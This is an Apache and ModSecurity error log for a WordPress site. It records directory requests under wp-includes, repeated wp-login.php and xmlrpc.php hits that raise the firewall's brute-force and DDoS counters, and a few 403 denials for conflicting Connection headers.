[Mon Apr 20 19:23:17.971898 2026] [autoindex:error] [pid 11441:tid 11452] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:23:21.217032 2026] [autoindex:error] [pid 11441:tid 11464] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:23:24.506613 2026] [autoindex:error] [pid 11441:tid 11466] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:23:27.631694 2026] [autoindex:error] [pid 11441:tid 11460] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:23:29.645681 2026] [autoindex:error] [pid 11441:tid 11457] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:23:29.875362 2026] [autoindex:error] [pid 11441:tid 11465] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:23:31.825580 2026] [autoindex:error] [pid 11441:tid 11446] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:23:32.081259 2026] [autoindex:error] [pid 11441:tid 11452] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:23:32.317399 2026] [autoindex:error] [pid 11441:tid 11467] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:47:32.307506 2026] [:error] [pid 11351:tid 11388] [client 162.223.226.141:40624] [client 162.223.226.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.223.226.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeYSVAN8Z1-vktaI_tPmLAAAAEE"]
[Mon Apr 20 19:47:34.469614 2026] [:error] [pid 11351:tid 11409] [client 162.223.226.141:40624] [client 162.223.226.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.223.226.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeYSVgN8Z1-vktaI_tPmOwAAAFY"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 20:23:29.876794 2026] [:error] [pid 42014:tid 42039] [client 106.215.154.48:30812] [client 106.215.154.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.154.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeYawcek-00-ZI0f1Np8HgAAARc"]
[Mon Apr 20 20:23:40.257843 2026] [:error] [pid 42014:tid 42028] [client 106.215.154.48:5907] [client 106.215.154.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.154.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeYazMek-00-ZI0f1Np8IgAAAQw"]
[Mon Apr 20 20:23:50.455209 2026] [:error] [pid 11352:tid 11420] [client 106.215.154.48:14612] [client 106.215.154.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.154.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeYa1ml10mhMSfJ7ir_TEQAAAIY"]
[Mon Apr 20 20:23:57.741734 2026] [:error] [pid 11494:tid 11509] [client 182.44.12.37:54528] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeYa3cgko5iFiE8YoyTZpQAAAY0"]
[Mon Apr 20 20:24:00.814944 2026] [:error] [pid 42014:tid 42036] [client 106.215.154.48:26110] [client 106.215.154.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.154.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeYa4Mek-00-ZI0f1Np8JgAAARQ"]
[Mon Apr 20 20:24:11.308111 2026] [:error] [pid 11350:tid 11371] [client 106.215.154.48:24497] [client 106.215.154.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.154.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeYa6_4EoMBgOJuJnT2nSgAAAAw"]
[Mon Apr 20 20:24:23.659626 2026] [:error] [pid 6928:tid 6942] [client 43.128.67.187:33280] [client 43.128.67.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeYa9x3y7MHq1iB0qYqpuAAAAUw"]
[Mon Apr 20 20:30:18.676112 2026] [:error] [pid 11352:tid 11417] [client 66.96.183.218:50194] [client 66.96.183.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.96.183.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeYcWml10mhMSfJ7ir_TsAAAAIM"]
[Mon Apr 20 20:30:22.046113 2026] [:error] [pid 11352:tid 11422] [client 66.96.183.218:50194] [client 66.96.183.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.96.183.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeYcXml10mhMSfJ7ir_TsQAAAIg"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 20:44:48.522899 2026] [:error] [pid 6928:tid 6944] [client 85.10.187.189:52848] [client 85.10.187.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.10.187.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeYfwB3y7MHq1iB0qYquIwAAAU4"]
[Mon Apr 20 21:18:56.797589 2026] [:error] [pid 42014:tid 42023] [client 157.66.27.55:38396] [client 157.66.27.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.55, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeYnwMek-00-ZI0f1NqD9gAAAQc"]
[Mon Apr 20 21:24:42.095148 2026] [:error] [pid 11352:tid 11437] [client 196.25.178.154:50079] [client 196.25.178.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.25.178.154, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeYpGml10mhMSfJ7ir_blwAAAJc"]
[Mon Apr 20 21:24:53.004683 2026] [:error] [pid 11350:tid 11374] [client 43.157.38.228:35112] [client 43.157.38.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeYpJf4EoMBgOJuJnT3CpgAAAA8"]
[Mon Apr 20 22:39:19.158907 2026] [:error] [pid 11351:tid 11395] [client 172.98.33.197:26177] [client 172.98.33.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.197, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY6lwN8Z1-vktaI_tMu5AAAAEg"]
[Mon Apr 20 22:39:29.083301 2026] [:error] [pid 42014:tid 42032] [client 172.98.33.178:21987] [client 172.98.33.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY6ocek-00-ZI0f1NqOIwAAARA"]
[Mon Apr 20 22:39:39.590779 2026] [:error] [pid 42014:tid 42021] [client 172.98.33.194:26665] [client 172.98.33.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY6q8ek-00-ZI0f1NqOLAAAAQU"]
[Mon Apr 20 22:39:50.116791 2026] [:error] [pid 42014:tid 42023] [client 172.98.33.200:41439] [client 172.98.33.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY6tsek-00-ZI0f1NqONQAAAQc"]
[Mon Apr 20 22:40:00.650780 2026] [:error] [pid 11351:tid 11396] [client 172.98.33.200:55699] [client 172.98.33.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY6wAN8Z1-vktaI_tMvUAAAAEk"]
[Mon Apr 20 22:40:11.199250 2026] [:error] [pid 11351:tid 11394] [client 45.132.115.229:26225] [client 45.132.115.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.229, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY6ywN8Z1-vktaI_tMvbwAAAEc"]
[Mon Apr 20 22:40:21.724658 2026] [:error] [pid 11350:tid 11368] [client 172.98.33.197:38003] [client 172.98.33.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.197, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY61f4EoMBgOJuJnT3ctQAAAAk"]
[Mon Apr 20 22:40:32.197980 2026] [:error] [pid 11350:tid 11374] [client 172.98.33.177:55171] [client 172.98.33.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY64P4EoMBgOJuJnT3cywAAAA8"]
[Mon Apr 20 22:40:42.745601 2026] [:error] [pid 11494:tid 11516] [client 172.98.33.193:50897] [client 172.98.33.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY66sgko5iFiE8YoyT-SQAAAZQ"]
[Mon Apr 20 22:40:53.301415 2026] [:error] [pid 11351:tid 11391] [client 45.132.115.227:56435] [client 45.132.115.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY69QN8Z1-vktaI_tMv2QAAAEQ"]
[Mon Apr 20 22:41:03.828310 2026] [:error] [pid 11441:tid 11454] [client 172.98.33.177:29223] [client 172.98.33.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY6_8ixByFUvmh319C0FQAAAMs"]
[Mon Apr 20 22:41:14.345894 2026] [:error] [pid 11494:tid 11509] [client 45.132.115.229:28027] [client 45.132.115.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.229, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7Csgko5iFiE8YoyT-hQAAAY0"]
[Mon Apr 20 22:41:24.882337 2026] [:error] [pid 11351:tid 11396] [client 172.98.33.200:36213] [client 172.98.33.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7FAN8Z1-vktaI_tMwSAAAAEk"]
[Mon Apr 20 22:41:35.381373 2026] [:error] [pid 6928:tid 6930] [client 172.98.33.195:41843] [client 172.98.33.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7Hx3y7MHq1iB0qYrE2gAAAUA"]
[Mon Apr 20 22:41:45.918356 2026] [:error] [pid 11351:tid 11398] [client 172.98.33.179:26123] [client 172.98.33.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7KQN8Z1-vktaI_tMwqAAAAEs"]
[Mon Apr 20 22:41:56.460937 2026] [:error] [pid 6928:tid 6942] [client 45.132.115.225:60781] [client 45.132.115.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7NB3y7MHq1iB0qYrE7QAAAUw"]
[Mon Apr 20 22:42:07.009342 2026] [:error] [pid 11351:tid 11402] [client 172.98.33.180:64853] [client 172.98.33.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7PwN8Z1-vktaI_tMxDAAAAE8"]
[Mon Apr 20 22:42:17.547207 2026] [:error] [pid 11351:tid 11389] [client 172.98.33.178:35341] [client 172.98.33.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7SQN8Z1-vktaI_tMxKQAAAEI"]
[Mon Apr 20 22:42:28.062945 2026] [:error] [pid 11351:tid 11387] [client 172.98.33.202:41175] [client 172.98.33.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7VAN8Z1-vktaI_tMxXQAAAEA"]
[Mon Apr 20 22:42:38.593097 2026] [:error] [pid 11351:tid 11410] [client 172.98.33.191:58649] [client 172.98.33.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7XgN8Z1-vktaI_tMxdgAAAFc"]
[Mon Apr 20 22:42:49.148378 2026] [:error] [pid 42014:tid 42023] [client 45.132.115.230:54293] [client 45.132.115.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7acek-00-ZI0f1NqOuQAAAQc"]
[Mon Apr 20 22:42:59.694067 2026] [:error] [pid 11441:tid 11464] [client 172.98.33.189:57463] [client 172.98.33.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7c8ixByFUvmh319C09wAAANU"]
[Mon Apr 20 22:43:10.201659 2026] [:error] [pid 6928:tid 6931] [client 45.132.115.233:62815] [client 45.132.115.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7fh3y7MHq1iB0qYrFQgAAAUE"]
[Mon Apr 20 22:43:20.724927 2026] [:error] [pid 11350:tid 11365] [client 172.98.33.180:33127] [client 172.98.33.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7iP4EoMBgOJuJnT3d-QAAAAY"]
[Mon Apr 20 22:43:31.270396 2026] [:error] [pid 11441:tid 11444] [client 172.98.33.192:40047] [client 172.98.33.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.192, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7k8ixByFUvmh319C1HQAAAME"]
[Mon Apr 20 22:43:41.804209 2026] [:error] [pid 11494:tid 11505] [client 172.98.33.190:34821] [client 172.98.33.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7ncgko5iFiE8YoyT_KgAAAYk"]
[Mon Apr 20 22:43:52.274020 2026] [:error] [pid 11494:tid 11508] [client 172.98.33.177:43453] [client 172.98.33.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7qMgko5iFiE8YoyT_NwAAAYw"]
[Mon Apr 20 22:44:02.754872 2026] [:error] [pid 42014:tid 42037] [client 45.132.115.226:63539] [client 45.132.115.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7ssek-00-ZI0f1NqO-gAAARU"]
[Mon Apr 20 22:44:13.313297 2026] [:error] [pid 42014:tid 42040] [client 172.98.33.180:52093] [client 172.98.33.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7vcek-00-ZI0f1NqPBwAAARg"]
[Mon Apr 20 22:44:23.838023 2026] [:error] [pid 11351:tid 11405] [client 45.132.115.228:51557] [client 45.132.115.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7xwN8Z1-vktaI_tMyfAAAAFI"]
[Mon Apr 20 22:44:34.376626 2026] [:error] [pid 11494:tid 11505] [client 45.132.115.229:46189] [client 45.132.115.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.229, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY70sgko5iFiE8YoyT_gAAAAYk"]
[Mon Apr 20 22:44:44.914506 2026] [:error] [pid 6928:tid 6932] [client 172.98.33.190:31021] [client 172.98.33.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY73B3y7MHq1iB0qYrFpgAAAUI"]
